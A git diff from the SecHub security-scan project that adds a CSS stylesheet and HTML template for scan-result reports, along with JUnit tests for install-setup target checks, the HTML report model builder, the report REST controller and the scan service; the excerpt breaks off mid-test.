+.sidenav { + height: 100%; + width: 250px; + position: fixed; + z-index: 1; + top: 0; + left: 10; + background-color: white; + overflow-x: hidden; + padding-top: 20px; +} + +/* Style page content */ +.main { + margin-left: 250px; + padding: 0px 10px; +} + +.content { +} + +.logo { + width: 100px; +} + +.logotitle { + font-family: monospace; + font-size: 60px; +} + +.reportsubtitle { + font-family: monospace; + font-size: 24px; +} + +.findingsTable { + width: 100%; + /*padding: 10px;*/ + padding-bottom:16px; + padding-top:10px; + + border-collapse:separate; + border:solid #cccccc 1px; + border-radius:16px; + + border-spacing: 0px; + +} +.findingsTable th { + padding: 8px; +} + +.findingsTable tr:nth-child(even) { + background: #f0f0f0; +} + +.findingsTable tr:nth-child(odd) { + background: #fefefe; +} + + +.findingsTable td { + padding: 8px; + font-family: monospace; +} + +.findingsTable td:nth-child(1){ + width:200px; + padding-left: 20px; +} + +.findingsTable td:nth-child(2) { + width:200px; + border-left: 1px solid #cccccc; +} + +.findingsTable td:nth-child(3) { + border-left: 1px solid #cccccc; + white-space: pre-wrap; + width:1024px; + + display:block; +/* word-wrap:break-word; */ +} + + + +.redFindingsTable { + +} + +.yellowFindingsTable { + +} + +.greenFindingsTable { + +} + +.greenFindingHeadline{ + color: #248f24; + font-family: monospace; +} + +.yellowFindingHeadline{ + color: #ccbb00; + font-family: monospace; +} + +.redFindingHeadline{ + color: #cc0000; + font-family: monospace; +} \ No newline at end of file diff --git a/sechub-scan/src/main/resources/templates/report/html/scanresult.html b/sechub-scan/src/main/resources/templates/report/html/scanresult.html new file mode 100644 index 0000000000..df7371ae91 --- /dev/null +++ b/sechub-scan/src/main/resources/templates/report/html/scanresult.html @@ -0,0 +1,138 @@ + + + + +SecHub scan result" + + + + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    + +
    + + + + + + + + + +
    + + SecHub
    Scan result Report for Job:job-uuid +
    +
    +
    +
    +

    Red findings

    + + + + + + + + + + + + + + + + + + + + + + + + + + +
    SeverityTypeDescription
    Severity 1Name 1Description 1
    Severity 2Name 2Description 2
    Severity 3Name 3Description 3
    Severity 4Name 4Description 5
    +
    +
    +

    Yellow findings

    + + + + + + + + + + + + + + + + +
    SeverityTypeDescription
    Severity 1Name 1Description 1
    Severity 2Name 2Description 2
    +
    +
    +

    Green findings

    + + + + + + + + + + + + + + + + +
    SeverityTypeDescription
    Severity 1Name 1Description 1
    Severity 2Name 2Description 2
    +
    +
    +
    + + + \ No newline at end of file diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/AbstractInstallSetupTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/AbstractInstallSetupTest.java new file mode 100644 index 0000000000..a5f26e7444 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/AbstractInstallSetupTest.java @@ -0,0 +1,50 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import static org.junit.Assert.*; + +import org.junit.Before; +import org.junit.Test; + +public class AbstractInstallSetupTest { + + private TestAbstractInstallSetup setupToTest; + + @Before + public void before() throws Exception { + setupToTest = new TestAbstractInstallSetup(); + } + + @Test + public void isabletoscan_returns_false_when_a_target_has_type_intranet_and_not_able_to_scanDaimmler_intranet() { + /* prepare */ + + /* execute + test */ + assertFalse(setupToTest.isAbleToScan(TargetType.INTRANET)); + } + + @Test + public void isabletoscan_returns_true_when_a_target_has_type_intranet_and_is_able_to_scanDaimmler_intranet() { + /* prepare */ + setupToTest.canScanDaimlerIntranet = true; + + /* execute + test */ + assertTrue(setupToTest.isAbleToScan(TargetType.INTRANET)); + } + + @Test + public void isabletoscan_returns_false_when_a_target_has_type_internet_and_not_able_to_scanInternet() { + /* execute + test */ + assertFalse(setupToTest.isAbleToScan(TargetType.INTERNET)); + } + + @Test + public void isabletoscan_returns_truee_when_a_target_has_type_internet_and_is_able_to_scanInternet() { + /* prepare */ + setupToTest.canScanInternet = true; + + /* execute + test */ + assertTrue(setupToTest.isAbleToScan(TargetType.INTERNET)); + } + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/AbstractMultiInstallSetupTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/AbstractMultiInstallSetupTest.java new file mode 100644 index 0000000000..fa06a77a65 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/AbstractMultiInstallSetupTest.java @@ -0,0 +1,198 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import static org.junit.Assert.*; + +import org.junit.Before; +import org.junit.Test; + +public class AbstractMultiInstallSetupTest { + + private static final String PASSWORD_INTERNET = "pwdInternet"; + private static final String PASSWORD_INTRANET = "pwdIntranet"; + private static final String USERNAME_INTRANET = "useridIntranet"; + private static final String USERNAME_INTERNET = "useridInternet"; + private static final String BASEURL_INTRANET = "baseURLIntranet"; + private static final String BASEURL_INTERNET = "baseURLInternet"; + + private String baseURLInternetTarget; + private String baseURLIntranetTarget; + private String useridInternetTarget; + private String useridIntranetTarget; + private String passwordInternetTarget; + private String passwordIntranetTarget; + + @Before + public void before() throws Exception { + + baseURLIntranetTarget=null; + useridIntranetTarget=null; + passwordIntranetTarget=null; + + baseURLInternetTarget=null; + useridInternetTarget=null; + passwordInternetTarget=null; + } + + @Test + public void intranet_set__internet_set() { + /* prepare */ + baseURLIntranetTarget=BASEURL_INTRANET; + useridIntranetTarget=USERNAME_INTRANET; + passwordIntranetTarget=PASSWORD_INTRANET; + + baseURLInternetTarget=BASEURL_INTERNET; + useridInternetTarget=USERNAME_INTERNET; + passwordInternetTarget=PASSWORD_INTERNET; + + /* test */ + expectCanScan(TargetType.INTERNET); + expectCanScan(TargetType.INTRANET); + } + + @Test + public void intranet_set__internet_set__but_pwds_missing() { + /* prepare */ + baseURLIntranetTarget=BASEURL_INTRANET; + useridIntranetTarget=USERNAME_INTRANET; + passwordIntranetTarget=null; + + baseURLInternetTarget=BASEURL_INTERNET; + useridInternetTarget=USERNAME_INTERNET; + passwordInternetTarget=null; + + /* test */ + expectCannotScan(TargetType.INTERNET); + expectCannotScan(TargetType.INTRANET); + } + + @Test + public void intranet_set__internet_set__but_userids_missing() { + /* prepare */ + baseURLIntranetTarget=BASEURL_INTRANET; + useridIntranetTarget=null; + passwordIntranetTarget=PASSWORD_INTRANET; + + baseURLInternetTarget=BASEURL_INTERNET; + useridInternetTarget=null; + passwordInternetTarget=PASSWORD_INTERNET; + + + /* test */ + expectCannotScan(TargetType.INTERNET); + expectCannotScan(TargetType.INTRANET); + } + + @Test + public void intranet_set__internet_set__but_baseURLs_missing() { + /* prepare */ + baseURLIntranetTarget=null; + useridIntranetTarget=USERNAME_INTRANET; + passwordIntranetTarget=PASSWORD_INTRANET; + + baseURLInternetTarget=null; + useridInternetTarget=USERNAME_INTERNET; + passwordInternetTarget=PASSWORD_INTERNET; + + + /* test */ + expectCannotScan(TargetType.INTERNET); + expectCannotScan(TargetType.INTRANET); + } + + + + @Test + public void intranet_not_set__internet_not_set__internet_is_not_scannable_and_not_internet() { + /* prepare - not necessary, everything null*/ + + /* test */ + expectCannotScan(TargetType.INTERNET); + expectCannotScan(TargetType.INTRANET); + } + + @Test + public void intranet_set__internet_not_set__intranet_is_scannable_but_not_internet() { + /* prepare */ + baseURLIntranetTarget=BASEURL_INTRANET; + useridIntranetTarget=USERNAME_INTRANET; + passwordIntranetTarget=PASSWORD_INTRANET; + + /* test */ + expectCanScan(TargetType.INTRANET); + expectCannotScan(TargetType.INTERNET); + } + + + @Test + public void intranet_not_set__internet_set__intranet_is_not_scannable_but_internet() { + /* prepare */ + baseURLInternetTarget=BASEURL_INTERNET; + useridInternetTarget=USERNAME_INTERNET; + passwordInternetTarget=PASSWORD_INTERNET; + + /* test */ + expectCannotScan(TargetType.INTRANET); + expectCanScan(TargetType.INTERNET); + } + + private void expectCanScan(TargetType type) { + expectCanOrCannotScan(true, type); + } + private void expectCannotScan(TargetType type) { + expectCanOrCannotScan(false, type); + + } + private void expectCanOrCannotScan(boolean expectedCan, TargetType type) { + + /* execute */ + TestMultiInstallSetup toTest = new TestMultiInstallSetup(); + + /* test */ + boolean ableToScan = toTest.isAbleToScan(type); + if (expectedCan) { + assertTrue("Expected to be able to scan "+type.name()+" but is NOT!", ableToScan); + }else { + assertFalse("Expected NOT to be able to scan "+type.name()+" but is!", ableToScan); + } + } + + private class TestMultiInstallSetup extends AbstractTargetIdentifyingMultiInstallSetup { + + @Override + protected String getBaseURLWhenInternetTarget() { + return baseURLInternetTarget; + } + + @Override + protected String getBaseURLWhenDaimlerIntranetTarget() { + return baseURLIntranetTarget; + } + + @Override + protected String getUsernameWhenInternetTarget() { + return useridInternetTarget; + } + + @Override + protected String getUsernameWhenDaimlerIntranetTarget() { + return useridIntranetTarget; + } + + @Override + protected String getPasswordWhenInternetTarget() { + return passwordInternetTarget; + } + + @Override + protected String getPasswordWhenDaimlerIntranetTarget() { + return passwordIntranetTarget; + } + + @Override + public boolean isHavingUntrustedCertificate(TargetType target) { + return false; + } + + } +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java new file mode 100644 index 0000000000..05f4c5d11d --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/HTMLScanResultReportModelBuilderTest.java @@ -0,0 +1,165 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import java.io.ByteArrayInputStream; +import java.io.File; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.UUID; + +import org.junit.Before; +import org.junit.Test; +import org.springframework.core.io.Resource; + +import com.daimler.sechub.domain.scan.report.ScanReportResult; +import com.daimler.sechub.domain.scan.report.ScanReportTrafficLightCalculator; +import com.daimler.sechub.sharedkernel.type.TrafficLight; + +public class HTMLScanResultReportModelBuilderTest { + + /* we use own variables here and not the constants from class to test, to separate test from impl...*/ + private static final String SHOW_LIGHT = "opacity: 1.0"; + private static final String HIDE_LIGHT ="opacity: 0.25"; + + private HTMLScanResultReportModelBuilder builderToTest; + private ScanReportResult scanResult; + private ScanReportTrafficLightCalculator trafficLightCalculator; + private SecHubResult result; + private List greenList; + private List redList; + private List yellowList; + + @Before + public void before() throws Exception { + builderToTest = new HTMLScanResultReportModelBuilder(); + + trafficLightCalculator = mock(ScanReportTrafficLightCalculator.class); + Resource cssResource = mock(Resource.class); + when (cssResource.getInputStream()).thenReturn(new ByteArrayInputStream("csscontentfromstream".getBytes())); + + builderToTest.cssResource=cssResource; + builderToTest.trafficLightCalculator=trafficLightCalculator; + + result = mock(SecHubResult.class); + + scanResult= mock(ScanReportResult.class); + when(scanResult.getResult()).thenReturn(result); + + greenList=new ArrayList<>(); + redList=new ArrayList<>(); + yellowList=new ArrayList<>(); + + when(trafficLightCalculator.filterFindingsFor(result, TrafficLight.RED)).thenReturn(redList); + when(trafficLightCalculator.filterFindingsFor(result, TrafficLight.YELLOW)).thenReturn(yellowList); + when(trafficLightCalculator.filterFindingsFor(result, TrafficLight.GREEN)).thenReturn(greenList); + } + + @Test + public void test_all_parameters_build_webdesignmode_false() { + /* prepare */ + UUID uuid = UUID.randomUUID(); + + when(scanResult.getInfo()).thenReturn("theInfo"); + when(scanResult.getJobUUID()).thenReturn(uuid); + when(scanResult.getTrafficLight()).thenReturn("trafficlight1"); + + builderToTest.webDesignMode=false; + builderToTest.embeddedCSS="embeddedCssContent"; + + + /* execute */ + Map map = builderToTest.build(scanResult); + + /* test */ + assertEquals("theInfo", map.get("info")); + assertSame(result, map.get("result")); + assertSame(greenList, map.get("greenList")); + assertSame(redList, map.get("redList")); + assertSame(yellowList, map.get("yellowList")); + assertEquals(false,map.get("isWebDesignMode")); + assertEquals("embeddedCssContent",map.get("embeddedCSS")); + assertNull(map.get("${includedCSSRef}")); + + assertEquals("trafficlight1", map.get("trafficlight")); + assertEquals(uuid.toString(), map.get("jobuuid")); + assertEquals(HIDE_LIGHT, map.get("styleRed")); + assertEquals(HIDE_LIGHT, map.get("styleYellow")); + assertEquals(HIDE_LIGHT, map.get("styleGreen")); + } + + @Test + public void test_all_parameters_build_webdesignmode_true() throws Exception { + /* prepare */ + UUID uuid = UUID.randomUUID(); + + when(scanResult.getInfo()).thenReturn("theInfo"); + when(scanResult.getJobUUID()).thenReturn(uuid); + when(scanResult.getTrafficLight()).thenReturn("trafficlight1"); + builderToTest.webDesignMode=true; + builderToTest.embeddedCSS="embeddedCssContent"; + Resource cssResource = mock(Resource.class); + File expectedFile = ScanDomainTestFileSupport.getTestfileSupport().createFileFromRoot("sechub-scan/src/main/resources/templates/report/html/scanresult.css"); + when(cssResource.getFile()).thenReturn(expectedFile); + builderToTest.cssResource=cssResource; + + /* execute */ + Map map = builderToTest.build(scanResult); + + /* test */ + assertEquals("theInfo", map.get("info")); + assertSame(result, map.get("result")); + assertSame(greenList, map.get("greenList")); + assertSame(redList, map.get("redList")); + assertSame(yellowList, map.get("yellowList")); + assertEquals(true,map.get("isWebDesignMode")); + + // check css ref for webdesign mode + assertNotNull(map.get("includedCSSRef")); + String path = (String)map.get("includedCSSRef"); + File foundFile = new File(path); + + assertEquals(expectedFile.getCanonicalPath(),foundFile.getCanonicalPath()); + + assertEquals("trafficlight1", map.get("trafficlight")); + assertEquals(uuid.toString(), map.get("jobuuid")); + assertEquals(HIDE_LIGHT, map.get("styleRed")); + assertEquals(HIDE_LIGHT, map.get("styleYellow")); + assertEquals(HIDE_LIGHT, map.get("styleGreen")); + } + + @Test + public void trafficlight_red_set_display_block__others_are_none() { + when(scanResult.getTrafficLight()).thenReturn(TrafficLight.RED.name()); + + Map map = builderToTest.build(scanResult); + assertEquals(SHOW_LIGHT, map.get("styleRed")); + assertEquals(HIDE_LIGHT, map.get("styleYellow")); + assertEquals(HIDE_LIGHT, map.get("styleGreen")); + } + + @Test + public void trafficlight_yellow_set_display_block__others_are_none() { + when(scanResult.getTrafficLight()).thenReturn(TrafficLight.YELLOW.name()); + + Map map = builderToTest.build(scanResult); + assertEquals(HIDE_LIGHT, map.get("styleRed")); + assertEquals(SHOW_LIGHT, map.get("styleYellow")); + assertEquals(HIDE_LIGHT, map.get("styleGreen")); + } + + + @Test + public void trafficlight_green_set_display_block__others_are_none() { + when(scanResult.getTrafficLight()).thenReturn(TrafficLight.GREEN.name()); + + Map map = builderToTest.build(scanResult); + assertEquals(HIDE_LIGHT, map.get("styleRed")); + assertEquals(HIDE_LIGHT, map.get("styleYellow")); + assertEquals(SHOW_LIGHT, map.get("styleGreen")); + } + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/OneInstallSetupTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/OneInstallSetupTest.java new file mode 100644 index 0000000000..e9e73a85d1 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/OneInstallSetupTest.java @@ -0,0 +1,121 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import static org.junit.Assert.*; + +import org.junit.Before; +import org.junit.Test; + +public class OneInstallSetupTest { + + private static final String HOSTNAME_INTRANET = "hostnameIntranet"; + private static final String HOSTNAME_INTERNET = "hostnameInternet"; + + private String identifierInternetTarget; + private String identifierIntranetTarget; + + @Before + public void before() throws Exception { + + identifierIntranetTarget=null; + + identifierInternetTarget=null; + } + + @Test + public void intranet_set__internet_set() { + /* prepare */ + identifierIntranetTarget=HOSTNAME_INTRANET; + + identifierInternetTarget=HOSTNAME_INTERNET; + + /* test */ + expectCanScan(TargetType.INTERNET); + expectCanScan(TargetType.INTRANET); + } + + @Test + public void intranet_not_set__internet_not_set() { + /* prepare - not necessary, everything null*/ + + /* test */ + expectCannotScan(TargetType.INTERNET); + expectCannotScan(TargetType.INTRANET); + } + + @Test + public void intranet_set__internet_not_set() { + /* prepare */ + identifierIntranetTarget=HOSTNAME_INTRANET; + + /* test */ + expectCanScan(TargetType.INTRANET); + expectCannotScan(TargetType.INTERNET); + } + + + @Test + public void intranet_not_set__internet_set() { + /* prepare */ + identifierInternetTarget=HOSTNAME_INTERNET; + + /* test */ + expectCannotScan(TargetType.INTRANET); + expectCanScan(TargetType.INTERNET); + } + + private void expectCanScan(TargetType type) { + expectCanOrCannotScan(true, type); + } + private void expectCannotScan(TargetType type) { + expectCanOrCannotScan(false, type); + + } + private void expectCanOrCannotScan(boolean expectedCan, TargetType type) { + /* execute */ + TestOneInstallSetup toTest = new TestOneInstallSetup(); + + /* test */ + boolean ableToScan = toTest.isAbleToScan(type); + if (expectedCan) { + assertTrue("Expected to be able to scan "+type.name()+" but is NOT!", ableToScan); + }else { + assertFalse("Expected NOT to be able to scan "+type.name()+" but is!", ableToScan); + } + } + + private class TestOneInstallSetup extends AbstractTargetIdentifyingOneInstallSetup { + + @Override + protected String getIdentifierWhenInternetTarget() { + return identifierInternetTarget; + } + + @Override + protected String getIdentifierWhenDaimlerIntranetTarget() { + return identifierIntranetTarget; + } + + @Override + public String getUserId() { + return null; + } + + @Override + public String getPassword() { + return null; + } + + @Override + public String getBaseURL() { + return null; + } + + @Override + public boolean isHavingUntrustedCertificate() { + return false; + } + + + } +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/ScanDomainTestFileSupport.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/ScanDomainTestFileSupport.java new file mode 100644 index 0000000000..7af285ffb5 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/ScanDomainTestFileSupport.java @@ -0,0 +1,19 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import com.daimler.sechub.test.SechubTestComponent; +import com.daimler.sechub.test.TestFileSupport; + +@SechubTestComponent +public class ScanDomainTestFileSupport extends TestFileSupport { + private static final ScanDomainTestFileSupport TESTFILE_SUPPORT = new ScanDomainTestFileSupport(); + + public static TestFileSupport getTestfileSupport() { + return TESTFILE_SUPPORT; + } + + ScanDomainTestFileSupport() { + super("sechub-scan/src/test/resources"); + } + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/ScanReportRestControllerMockTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/ScanReportRestControllerMockTest.java new file mode 100644 index 0000000000..5a540ed34e --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/ScanReportRestControllerMockTest.java @@ -0,0 +1,189 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; +import static com.daimler.sechub.test.TestURLBuilder.*; +import static org.hamcrest.CoreMatchers.*; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.Mockito.*; +import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.*; +import static org.springframework.test.web.servlet.result.MockMvcResultHandlers.*; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.*; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.Map; +import java.util.UUID; + +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.autoconfigure.EnableAutoConfiguration; +import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest; +import org.springframework.boot.test.context.TestConfiguration; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.http.MediaType; +import org.springframework.security.test.context.support.WithMockUser; +import org.springframework.test.context.ContextConfiguration; +import org.springframework.test.context.junit4.SpringRunner; +import org.springframework.test.web.servlet.MockMvc; + +import com.daimler.sechub.domain.scan.product.ReportProductExecutionService; +import com.daimler.sechub.domain.scan.report.CreateScanReportService; +import com.daimler.sechub.domain.scan.report.DownloadScanReportService; +import com.daimler.sechub.domain.scan.report.ScanReport; +import com.daimler.sechub.domain.scan.report.ScanReportRepository; +import com.daimler.sechub.domain.scan.report.ScanReportRestController; +import com.daimler.sechub.domain.scan.report.ScanReportResult; +import com.daimler.sechub.domain.scan.report.ScanReportTrafficLightCalculator; +import com.daimler.sechub.sharedkernel.type.TrafficLight; +import com.daimler.sechub.test.TestPortProvider; + + +@RunWith(SpringRunner.class) +@WebMvcTest(ScanReportRestController.class) +@ContextConfiguration(classes= {ScanReportRestController.class, ScanReportRestControllerMockTest.SimpleTestConfiguration.class}) +public class ScanReportRestControllerMockTest { + + private static final String PROJECT1_ID = "project1"; + + private static final int PORT_USED = TestPortProvider.DEFAULT_INSTANCE.getWebMVCTestHTTPSPort(); + + @Autowired + private MockMvc mockMvc; + + @MockBean + private CreateScanReportService createReportService; + + @MockBean + private DownloadScanReportService downloadReportService; + + @MockBean + SecHubResultService secHubResultService; + + @MockBean + ReportProductExecutionService reportProductExecutionService; + + @MockBean + ScanReportTrafficLightCalculator trafficLightCalculator; + + @MockBean + ScanReportRepository reportRepository; + + @MockBean + HTMLScanResultReportModelBuilder modelBuilder; + + + private UUID randomUUID; + + @Test + @WithMockUser + public void get_report_from_existing_job_returns_information_as_json_when_type_is_APPLICATION_JSON_UTF8() throws Exception { + internalTestAcceptedAndReturnsJSON(MediaType.APPLICATION_JSON_UTF8); + } + + @Test + @WithMockUser + public void get_report_from_existing_job_returns_406_NOT_ACCEPTABLE__when_type_is_APPLICATION_PDF() throws Exception { + /* prepare */ + ScanReport report = new ScanReport(randomUUID,PROJECT1_ID); + report.setResult("{'count':'1'}"); + report.setTrafficLight(TrafficLight.YELLOW); + + ScanReportResult result1 = new ScanReportResult(report); + when(downloadReportService.getScanReportResult(PROJECT1_ID, randomUUID)).thenReturn(result1); + + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED).buildGetJobReportUrl(PROJECT1_ID,randomUUID)).accept(MediaType.APPLICATION_PDF). + contentType(MediaType.APPLICATION_JSON_UTF8) + )./*andDo(print()).*/ + andExpect(status().isNotAcceptable() + ); + + /* @formatter:on */ + } + + @Test + @WithMockUser + public void get_report_from_existing_job_returns_information_as_html_when_type_is_APPLICATION_XHTML_XML() throws Exception { + internalTestAcceptedAndReturnsHTML(MediaType.APPLICATION_XHTML_XML); + } + + @Test + @WithMockUser + public void get_report_from_existing_job_returns_information_as_html_when_type_is_TEXT_HTML() throws Exception { + internalTestAcceptedAndReturnsHTML(MediaType.TEXT_HTML); + } + + + private void internalTestAcceptedAndReturnsJSON(MediaType acceptedType) throws Exception { + /* prepare */ + ScanReport report = new ScanReport(randomUUID,PROJECT1_ID); + report.setResult("{'count':'1'}"); + report.setTrafficLight(TrafficLight.YELLOW); + + ScanReportResult result1 = new ScanReportResult(report); + when(downloadReportService.getScanReportResult(PROJECT1_ID, randomUUID)).thenReturn(result1); + + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED).buildGetJobReportUrl(PROJECT1_ID,randomUUID)).accept(acceptedType). + contentType(MediaType.APPLICATION_JSON_UTF8) + )./*andDo(print()).*/ + andExpect(status().isOk()). + andExpect(content().json("{\"jobUUID\":\""+randomUUID.toString()+"\",\"result\":{\"count\":1,\"findings\":[]},\"trafficLight\":\"YELLOW\"}") + ); + + /* @formatter:on */ + } + + private void internalTestAcceptedAndReturnsHTML(MediaType acceptedType) throws Exception { + /* prepare */ + ScanReport report = new ScanReport(randomUUID,PROJECT1_ID); + report.setResult("{'count':'1'}"); + report.setTrafficLight(TrafficLight.YELLOW); + + ScanReportResult result1 = new ScanReportResult(report); + when(downloadReportService.getScanReportResult(PROJECT1_ID, randomUUID)).thenReturn(result1); + + /* execute + test @formatter:off */ + this.mockMvc.perform( + get(https(PORT_USED).buildGetJobReportUrl(PROJECT1_ID,randomUUID)).accept(acceptedType). + contentType(MediaType.APPLICATION_JSON_UTF8) + ). andDo(print()). + andExpect(status().isOk()). + andExpect(content().contentType("text/html;charset=UTF-8")). + andExpect(content().encoding("UTF-8")). + andExpect(content().string(containsString(randomUUID.toString()))). + andExpect(content().string(containsString("theRedStyle")) + + ); + + /* @formatter:on */ + } + + @TestConfiguration + @EnableAutoConfiguration + public static class SimpleTestConfiguration{ + + } + + + + + @Before + public void before() throws Exception { + randomUUID=UUID.randomUUID(); + Map map = new HashMap<>(); + map.put("jobuuid", randomUUID); + map.put("styleRed", "theRedStyle"); + map.put("styleGreen", "display:none"); + map.put("styleYellow", "display:none"); + map.put("redList", new ArrayList<>()); + map.put("yellowList", new ArrayList<>()); + map.put("greenList", new ArrayList<>()); + map.put("isWebDesignMode", false); + when(modelBuilder.build(any())).thenReturn(map); + } + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/ScanServiceTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/ScanServiceTest.java new file mode 100644 index 0000000000..9f6e177ba6 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/ScanServiceTest.java @@ -0,0 +1,247 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import java.util.ArrayList; +import java.util.List; + +import org.junit.Before; +import org.junit.Test; +import org.springframework.core.task.TaskExecutor; + +import com.daimler.sechub.domain.scan.log.ProjectScanLogService; +import com.daimler.sechub.domain.scan.product.CodeScanProductExecutionService; +import com.daimler.sechub.domain.scan.product.InfrastructureScanProductExecutionService; +import com.daimler.sechub.domain.scan.product.WebScanProductExecutionService; +import com.daimler.sechub.domain.scan.report.CreateScanReportService; +import com.daimler.sechub.domain.scan.report.ScanReport; +import com.daimler.sechub.sharedkernel.configuration.SecHubConfiguration; +import com.daimler.sechub.sharedkernel.execution.SecHubExecutionException; +import com.daimler.sechub.sharedkernel.messaging.AsynchronMessageHandler; +import com.daimler.sechub.sharedkernel.messaging.DomainMessage; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageService; +import com.daimler.sechub.sharedkernel.messaging.DomainMessageSynchronousResult; +import com.daimler.sechub.sharedkernel.messaging.MessageDataKeys; +import com.daimler.sechub.sharedkernel.messaging.MessageID; +import com.daimler.sechub.sharedkernel.messaging.SynchronMessageHandler; +import com.daimler.sechub.sharedkernel.storage.JobStorage; +import com.daimler.sechub.sharedkernel.storage.StorageService; +import com.daimler.sechub.sharedkernel.util.JSONConverterException; + +public class ScanServiceTest { + + private static final String TRAFFIC_LIGHT = "someColor"; + private static final java.util.UUID UUID = java.util.UUID.randomUUID(); + private static final String SECHUB_CONFIG_VALID_MINIMUM = "{}"; + private ScanService serviceToTest; + private WebScanProductExecutionService webScanProductExecutionService; + private CodeScanProductExecutionService codeScanProductExecutionService; + private InfrastructureScanProductExecutionService infrastructureScanProductExecutionService; + private CreateScanReportService reportService; + private ScanReport report; + private StorageService storageService; + private JobStorage jobStorage; + private ProjectScanLogService scanLogService; + + @Before + public void before() throws Exception { + storageService = mock(StorageService.class); + jobStorage=mock(JobStorage.class); + + when(storageService.getJobStorage(any(), any())).thenReturn(jobStorage); + + webScanProductExecutionService = mock(WebScanProductExecutionService.class); + codeScanProductExecutionService = mock(CodeScanProductExecutionService.class); + infrastructureScanProductExecutionService = mock(InfrastructureScanProductExecutionService.class); + scanLogService=mock(ProjectScanLogService.class); + + reportService = mock(CreateScanReportService.class); + report = mock(ScanReport.class); + when(report.getTrafficLightAsString()).thenReturn(TRAFFIC_LIGHT); + when(reportService.createReport(any())).thenReturn(report); + + serviceToTest = new ScanService(); + serviceToTest.webScanProductExecutionService = webScanProductExecutionService; + serviceToTest.infraScanProductExecutionService = infrastructureScanProductExecutionService; + serviceToTest.codeScanProductExecutionService=codeScanProductExecutionService; + serviceToTest.reportService = reportService; + serviceToTest.storageService=storageService; + serviceToTest.scanLogService=scanLogService; + } + + @Test + public void when_no_exception_is_thrown_result_has_not_failed() throws Exception { + + /* execute */ + DomainMessageSynchronousResult result = serviceToTest.receiveSynchronMessage(prepareValidRequest()); + + /* test */ + assertFalse(result.hasFailed()); + } + + @Test + public void scanservice_does_execute_webscan_execution_service() throws Exception { + + /* execute */ + serviceToTest.receiveSynchronMessage(prepareValidRequest()); + + /* test */ + verify(webScanProductExecutionService).executeProductsAndStoreResults(any()); + } + + @Test + public void scanservice_does_execute_infrascan_execution_service() throws Exception { + + /* execute */ + serviceToTest.receiveSynchronMessage(prepareValidRequest()); + + /* test */ + verify(infrastructureScanProductExecutionService).executeProductsAndStoreResults(any()); + } + + @Test + public void scanservice_does_execute_codescan_execution_service() throws Exception { + + /* execute */ + serviceToTest.receiveSynchronMessage(prepareValidRequest()); + + /* test */ + verify(codeScanProductExecutionService).executeProductsAndStoreResults(any()); + } + + + @Test + public void scanservice_does_cleanup_storage_of_job__when_not_failed() throws Exception { + + /* execute */ + DomainMessageSynchronousResult result = serviceToTest.receiveSynchronMessage(prepareValidRequest()); + + /* test */ + verify(jobStorage).deleteAll(); + assertFalse(result.hasFailed()); + } + + /** + * Here we test that on failure the storage is ALSO cleaned. Why? Because in future there should be the + * possiblity for a retry mechanism, but currently there is none. When this is implemented we + * must change the test so it will check there is NO cleaning. But having no retry mechanism implemented, we + * expect the cleanup process done even when failing. + * @throws Exception + */ + @Test + public void scanservice_does_cleanup_storage_of_job__when_HAS_failed() throws Exception { + + /* prepare */ + DomainMessage request = prepareValidRequest(); + doThrow(new SecHubExecutionException("ups...", new RuntimeException())).when(webScanProductExecutionService) + .executeProductsAndStoreResults(any()); + + /* execute */ + DomainMessageSynchronousResult result = serviceToTest.receiveSynchronMessage(request); + + /* test */ + assertTrue(result.hasFailed()); + verify(jobStorage/*when retry implemented:,never()*/).deleteAll(); + + } + + + @Test + public void scanservice_does_execute_report_service() throws Exception { + + /* execute */ + 